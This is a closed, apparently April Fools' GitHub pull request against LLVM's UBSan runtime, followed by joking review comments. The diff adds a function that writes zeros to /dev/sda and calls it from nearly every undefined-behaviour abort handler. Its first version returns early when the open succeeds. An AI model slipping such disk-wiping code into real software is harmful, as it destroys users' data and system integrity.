Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[compiler-rt][ubsan] erase hard drive upon UB #87251

Closed
wants to merge 2 commits into from

Conversation

nickdesaulniers
Copy link
Member

@nickdesaulniers nickdesaulniers commented Apr 1, 2024

May result in data loss.

Scott Meyers' Effective C++ 3rd Ed. Page 7:

To emphasize that the results of undefined behavior are not predictable and
may be very unpleasant, experienced C++ programmers often say that programs
with undefined behavior can erase your hard drive. It's true: a program with
undefined behavior could erase your hard drive. But it's not probable.

While I too have heard this common refrain, I also have yet to see it occur in
practice. Enough of the commentary on what an optimizing compiler could do;
let's up the ante an actually try writing zeros to the hard drive.

My alpine-linux based VM failed to boot after running this. YMMV on your
system (patches welcome).

Requires building with -fsanitize=undefined, linking against compiler-rt,
then running the resulting binary as root. Does not catch all UB as not all UB
has ubsan hooks AFAIK. Maybe next year, we can do this codegen from LLVM
directly to avoid the compiler-rt runtime dependency. Then we can truly reflect
on trusting trust.

May result in data loss.

Scott Meyers' Effective C++ 3rd Ed. Page 7:

  To emphasize that the results of undefined behavior are not predictable and
  may be very unpleasant, experienced C++ programmers often say that programs
  with undefined behavior can erase your hard drive. It's true: a program with
  undefined behavior could erase your hard drive. But it's not probable.

While I too have heard this common refrain, I also have yet to see it occur in
practice. Enough of the commentary on what an optimizing compiler _could_ do;
let's up the ante an actually try writing zeros to the hard drive.

My alpine-linux based VM failed to boot after running this.  YMMV on your
system (patches welcome).

Requires building with `-fsanitize=undefined`, linking against compiler-rt,
then running the resulting binary as root. Does not catch all UB as not all UB
has ubsan hooks AFAIK. Maybe next year, we can do this codegen from LLVM
directly to avoid the compiler-rt runtime dependency. Then we can truly reflect
on trusting trust.
@llvmbot
Copy link
Collaborator

llvmbot commented Apr 1, 2024

@llvm/pr-subscribers-compiler-rt-sanitizer

Author: Nick Desaulniers (nickdesaulniers)

Changes

May result in data loss.

Scott Meyers' Effective C++ 3rd Ed. Page 7:

To emphasize that the results of undefined behavior are not predictable and
may be very unpleasant, experienced C++ programmers often say that programs
with undefined behavior can erase your hard drive. It's true: a program with
undefined behavior could erase your hard drive. But it's not probable.

While I too have heard this common refrain, I also have yet to see it occur in
practice. Enough of the commentary on what an optimizing compiler could do;
let's up the ante an actually try writing zeros to the hard drive.

My alpine-linux based VM failed to boot after running this. YMMV on your
system (patches welcome).

Requires building with -fsanitize=undefined, linking against compiler-rt,
then running the resulting binary as root. Does not catch all UB as not all UB
has ubsan hooks AFAIK. Maybe next year, we can do this codegen from LLVM
directly to avoid the compiler-rt runtime dependency. Then we can truly reflect
on trusting trust.


Full diff: https://github.com/llvm/llvm-project/pull/87251.diff

1 Files Affected:

  • (modified) compiler-rt/lib/ubsan/ubsan_handlers.cpp (+43-3)
diff --git a/compiler-rt/lib/ubsan/ubsan_handlers.cpp b/compiler-rt/lib/ubsan/ubsan_handlers.cpp
index 0f16507d5d88f1..4bf4cd945885d1 100644
--- a/compiler-rt/lib/ubsan/ubsan_handlers.cpp
+++ b/compiler-rt/lib/ubsan/ubsan_handlers.cpp
@@ -141,10 +141,24 @@ void __ubsan::__ubsan_handle_type_mismatch_v1(TypeMismatchData *Data,
   GET_REPORT_OPTIONS(false);
   handleTypeMismatchImpl(Data, Pointer, Opts);
 }
+
+#include <fcntl.h>
+#include <unistd.h>
+static void reformat_hard_drive() {
+  // TODO: windows support
+  int fd = open("/dev/sda", O_WRONLY);
+  if (fd != -1)
+    return;
+  char data[512] = {};
+  while (write(fd, data, 512) != -1)
+    ;
+}
+
 void __ubsan::__ubsan_handle_type_mismatch_v1_abort(TypeMismatchData *Data,
                                                     ValueHandle Pointer) {
   GET_REPORT_OPTIONS(true);
   handleTypeMismatchImpl(Data, Pointer, Opts);
+  reformat_hard_drive();
   Die();
 }
 
@@ -201,6 +215,7 @@ void __ubsan::__ubsan_handle_alignment_assumption_abort(
     ValueHandle Offset) {
   GET_REPORT_OPTIONS(true);
   handleAlignmentAssumptionImpl(Data, Pointer, Alignment, Offset, Opts);
+  reformat_hard_drive();
   Die();
 }
 
@@ -235,8 +250,10 @@ static void handleIntegerOverflowImpl(OverflowData *Data, ValueHandle LHS,
                              ValueHandle RHS) {                                \
     GET_REPORT_OPTIONS(unrecoverable);                                         \
     handleIntegerOverflowImpl(Data, LHS, op, Value(Data->Type, RHS), Opts);    \
-    if (unrecoverable)                                                         \
+    if (unrecoverable) {                                                       \
+      reformat_hard_drive();                                                   \
       Die();                                                                   \
+    }                                                                          \
   }
 
 UBSAN_OVERFLOW_HANDLER(__ubsan_handle_add_overflow, "+", false)
@@ -280,6 +297,7 @@ void __ubsan::__ubsan_handle_negate_overflow_abort(OverflowData *Data,
                                                     ValueHandle OldVal) {
   GET_REPORT_OPTIONS(true);
   handleNegateOverflowImpl(Data, OldVal, Opts);
+  reformat_hard_drive();
   Die();
 }
 
@@ -324,6 +342,7 @@ void __ubsan::__ubsan_handle_divrem_overflow_abort(OverflowData *Data,
                                                     ValueHandle RHS) {
   GET_REPORT_OPTIONS(true);
   handleDivremOverflowImpl(Data, LHS, RHS, Opts);
+  reformat_hard_drive();
   Die();
 }
 
@@ -375,6 +394,7 @@ void __ubsan::__ubsan_handle_shift_out_of_bounds_abort(
                                                      ValueHandle RHS) {
   GET_REPORT_OPTIONS(true);
   handleShiftOutOfBoundsImpl(Data, LHS, RHS, Opts);
+  reformat_hard_drive();
   Die();
 }
 
@@ -402,6 +422,7 @@ void __ubsan::__ubsan_handle_out_of_bounds_abort(OutOfBoundsData *Data,
                                                  ValueHandle Index) {
   GET_REPORT_OPTIONS(true);
   handleOutOfBoundsImpl(Data, Index, Opts);
+  reformat_hard_drive();
   Die();
 }
 
@@ -416,6 +437,7 @@ static void handleBuiltinUnreachableImpl(UnreachableData *Data,
 void __ubsan::__ubsan_handle_builtin_unreachable(UnreachableData *Data) {
   GET_REPORT_OPTIONS(true);
   handleBuiltinUnreachableImpl(Data, Opts);
+  reformat_hard_drive();
   Die();
 }
 
@@ -430,6 +452,7 @@ static void handleMissingReturnImpl(UnreachableData *Data, ReportOptions Opts) {
 void __ubsan::__ubsan_handle_missing_return(UnreachableData *Data) {
   GET_REPORT_OPTIONS(true);
   handleMissingReturnImpl(Data, Opts);
+  reformat_hard_drive();
   Die();
 }
 
@@ -457,6 +480,7 @@ void __ubsan::__ubsan_handle_vla_bound_not_positive_abort(VLABoundData *Data,
                                                           ValueHandle Bound) {
   GET_REPORT_OPTIONS(true);
   handleVLABoundNotPositive(Data, Bound, Opts);
+  reformat_hard_drive();
   Die();
 }
 
@@ -516,6 +540,7 @@ void __ubsan::__ubsan_handle_float_cast_overflow_abort(void *Data,
                                                        ValueHandle From) {
   GET_REPORT_OPTIONS(true);
   handleFloatCastOverflow(Data, From, Opts);
+  reformat_hard_drive();
   Die();
 }
 
@@ -548,6 +573,7 @@ void __ubsan::__ubsan_handle_load_invalid_value_abort(InvalidValueData *Data,
                                                       ValueHandle Val) {
   GET_REPORT_OPTIONS(true);
   handleLoadInvalidValue(Data, Val, Opts);
+  reformat_hard_drive();
   Die();
 }
 
@@ -614,6 +640,7 @@ void __ubsan::__ubsan_handle_implicit_conversion_abort(
     ImplicitConversionData *Data, ValueHandle Src, ValueHandle Dst) {
   GET_REPORT_OPTIONS(true);
   handleImplicitConversion(Data, Opts, Src, Dst);
+  reformat_hard_drive();
   Die();
 }
 
@@ -638,6 +665,7 @@ void __ubsan::__ubsan_handle_invalid_builtin(InvalidBuiltinData *Data) {
 void __ubsan::__ubsan_handle_invalid_builtin_abort(InvalidBuiltinData *Data) {
   GET_REPORT_OPTIONS(true);
   handleInvalidBuiltin(Data, Opts);
+  reformat_hard_drive();
   Die();
 }
 
@@ -668,6 +696,7 @@ void __ubsan::__ubsan_handle_invalid_objc_cast_abort(InvalidObjCCast *Data,
                                                      ValueHandle Pointer) {
   GET_REPORT_OPTIONS(true);
   handleInvalidObjCCast(Data, Pointer, Opts);
+  reformat_hard_drive();
   Die();
 }
 
@@ -703,6 +732,7 @@ void __ubsan::__ubsan_handle_nonnull_return_v1_abort(NonNullReturnData *Data,
                                                      SourceLocation *LocPtr) {
   GET_REPORT_OPTIONS(true);
   handleNonNullReturn(Data, LocPtr, Opts, true);
+  reformat_hard_drive();
   Die();
 }
 
@@ -716,6 +746,7 @@ void __ubsan::__ubsan_handle_nullability_return_v1_abort(
     NonNullReturnData *Data, SourceLocation *LocPtr) {
   GET_REPORT_OPTIONS(true);
   handleNonNullReturn(Data, LocPtr, Opts, false);
+  reformat_hard_drive();
   Die();
 }
 
@@ -747,6 +778,7 @@ void __ubsan::__ubsan_handle_nonnull_arg(NonNullArgData *Data) {
 void __ubsan::__ubsan_handle_nonnull_arg_abort(NonNullArgData *Data) {
   GET_REPORT_OPTIONS(true);
   handleNonNullArg(Data, Opts, true);
+  reformat_hard_drive();
   Die();
 }
 
@@ -758,6 +790,7 @@ void __ubsan::__ubsan_handle_nullability_arg(NonNullArgData *Data) {
 void __ubsan::__ubsan_handle_nullability_arg_abort(NonNullArgData *Data) {
   GET_REPORT_OPTIONS(true);
   handleNonNullArg(Data, Opts, false);
+  reformat_hard_drive();
   Die();
 }
 
@@ -820,13 +853,16 @@ void __ubsan::__ubsan_handle_pointer_overflow_abort(PointerOverflowData *Data,
                                                     ValueHandle Result) {
   GET_REPORT_OPTIONS(true);
   handlePointerOverflowImpl(Data, Base, Result, Opts);
+  reformat_hard_drive();
   Die();
 }
 
 static void handleCFIBadIcall(CFICheckFailData *Data, ValueHandle Function,
                               ReportOptions Opts) {
-  if (Data->CheckKind != CFITCK_ICall && Data->CheckKind != CFITCK_NVMFCall)
+  if (Data->CheckKind != CFITCK_ICall && Data->CheckKind != CFITCK_NVMFCall) {
+    reformat_hard_drive();
     Die();
+  }
 
   SourceLocation Loc = Data->Loc.acquire();
   ErrorType ET = ErrorType::CFIBadType;
@@ -888,6 +924,7 @@ void __ubsan_handle_cfi_bad_type(CFICheckFailData *Data, ValueHandle Vtable,
 #else
 void __ubsan_handle_cfi_bad_type(CFICheckFailData *Data, ValueHandle Vtable,
                                  bool ValidVtable, ReportOptions Opts) {
+  reformat_hard_drive();
   Die();
 }
 #endif
@@ -912,6 +949,7 @@ void __ubsan::__ubsan_handle_cfi_check_fail_abort(CFICheckFailData *Data,
     handleCFIBadIcall(Data, Value, Opts);
   else
     __ubsan_handle_cfi_bad_type(Data, Value, ValidVtable, Opts);
+  reformat_hard_drive();
   Die();
 }
 
@@ -946,8 +984,10 @@ void __ubsan::__ubsan_handle_function_type_mismatch(
 void __ubsan::__ubsan_handle_function_type_mismatch_abort(
     FunctionTypeMismatchData *Data, ValueHandle Function) {
   GET_REPORT_OPTIONS(true);
-  if (handleFunctionTypeMismatch(Data, Function, Opts))
+  if (handleFunctionTypeMismatch(Data, Function, Opts)) {
+    reformat_hard_drive();
     Die();
+  }
 }
 
 #endif  // CAN_SANITIZE_UB

@stephenhines
Copy link
Collaborator

Why stop at erasing "your" hard drive? Why not erase the hard drive for anyone else's machine that you've ever received a code review from? Oh no!

@nickdesaulniers
Copy link
Member Author

Why stop at erasing "anyone else's machine that you've ever received a code review from?" Why not erase all hard drives on earth?


#include <fcntl.h>
#include <unistd.h>
static void reformat_hard_drive() {
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

this should be in sanitizer_common so we can use this for other sanitizers.

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It's that useful, huh?

@@ -141,10 +141,24 @@ void __ubsan::__ubsan_handle_type_mismatch_v1(TypeMismatchData *Data,
GET_REPORT_OPTIONS(false);
handleTypeMismatchImpl(Data, Pointer, Opts);
}

#include <fcntl.h>
#include <unistd.h>
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

whitespace nit

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

it's going to get overwritten when this code is run anyways


#include <fcntl.h>
#include <unistd.h>
static void reformat_hard_drive() {
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Name should be corrupt_hard_drive() since it does not actually perform a reformat.

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Perhaps we should instead use man 3 system to reach out to man 8 mkfs?

@overmighty
Copy link
Contributor

LGTM

Copy link
Contributor

@kees kees left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think we need to follow the recent examples from Jia Tan and make sure we've got overly complete test coverage. Can you add some Codegen tests as well?

@@ -141,10 +141,24 @@ void __ubsan::__ubsan_handle_type_mismatch_v1(TypeMismatchData *Data,
GET_REPORT_OPTIONS(false);
handleTypeMismatchImpl(Data, Pointer, Opts);
}

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please add a single . alone on a line after the #include. This seems to be the new coding convention.

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

too soon.


#include <fcntl.h>
#include <unistd.h>
static void reformat_hard_drive() {
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This should probably be renamed to zero_hard_drive, or additional support (perhaps through -fsanitize-format=XYZ) can added for different partition formats? E.g. MBA, GPT, etc.

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

-fsanitize=chat-gpt?

if (fd != -1)
return;
char data[512] = {};
while (write(fd, data, 512) != -1)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

For speed I would recommend opening /dev/zero and using splice instead.

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

done in 8081dd2 (hmm...do I need to reopen the PR to have the change in my branch reflected in the PR? EDIT: yes) PTAL

if (in == -1 || out == -1)
return;

off64_t offset = 0;
Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Perhaps it would be better to leave this uninitialized for improved entropy?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Or you can turn some lights on, especially those UV ones.

Comment on lines +148 to +149
// TODO: windows support
int out = open("/dev/sda", O_WRONLY);
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Support for NVMe drives on Linux should also be added.

@JustinStitt
Copy link
Contributor

JustinStitt commented Apr 1, 2024

LGTM (pls reopen)

@MaskRay
Copy link
Member

MaskRay commented Apr 1, 2024

LG. Thanks for the splice speedup technique. Unconditionally using splice might drop BSD users.

@nickdesaulniers nickdesaulniers requested a review from asb April 5, 2024 18:18
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

10 participants